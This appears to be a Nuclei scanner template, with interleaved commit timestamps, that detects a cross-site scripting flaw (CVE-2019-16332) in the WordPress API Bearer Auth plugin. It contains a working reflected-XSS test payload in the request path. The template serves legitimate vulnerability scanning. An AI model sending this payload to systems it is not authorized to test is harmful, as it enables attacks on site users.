2021-07-15 17:06:33 +00:00
id : CVE-2019-16332
info :
2022-09-08 13:28:46 +00:00
name : WordPress API Bearer Auth <20190907 - Cross-Site Scripting
2021-07-15 17:06:33 +00:00
author : daffainfo
severity : medium
2022-09-08 13:28:46 +00:00
description : WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
2023-09-06 12:53:28 +00:00
remediation : |
Update to the latest version of WordPress API Bearer Auth plugin (20190907 or later) to mitigate the vulnerability.
2021-08-19 13:59:12 +00:00
reference :
2021-08-01 06:10:14 +00:00
- https://plugins.trac.wordpress.org/changeset/2152730
- https://wordpress.org/plugins/api-bearer-auth/#developers
2022-09-08 13:28:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-16332
2023-04-12 10:55:48 +00:00
- https://packetstormsecurity.com/files/154369/WordPress-API-Bearer-Auth-20181229-Cross-Site-Scripting.html
2023-07-11 19:49:27 +00:00
- https://wpvulndb.com/vulnerabilities/9868
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-16332
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00303
2024-03-23 09:28:19 +00:00
epss-percentile : 0.69049
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:api_bearer_auth_project:api_bearer_auth:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
2024-06-07 10:04:29 +00:00
max-request : 2
vendor : "api_bearer_auth_project"
product : "api_bearer_auth"
2023-09-06 12:53:28 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2019,packetstorm,wordpress,xss,wp-plugin,auth,api_bearer_auth_project
2024-03-26 17:26:22 +00:00
flow : http(1) && http(2)
2023-04-27 04:28:59 +00:00
http :
2024-03-26 17:26:22 +00:00
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
matchers :
- type : word
internal : true
words :
- '/wp-content/plugins/api-bearer-auth/'
2021-07-15 17:06:33 +00:00
- method : GET
path :
2021-07-19 06:03:40 +00:00
- '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-07-15 17:06:33 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-07-15 17:06:33 +00:00
words :
2021-07-19 06:03:40 +00:00
- "</script><script>alert(document.domain)</script>"
2021-07-15 17:06:33 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 4b0a00483046022100a104f07736ab61d65c088346f2cab8758fd5de9010e146e06a7881ff0ad7784e022100cec6ddf7d75872b227ace8173983137a63e078d8ef2b089548821704cb23415e:922c64590222798bb761d5b6d8e72950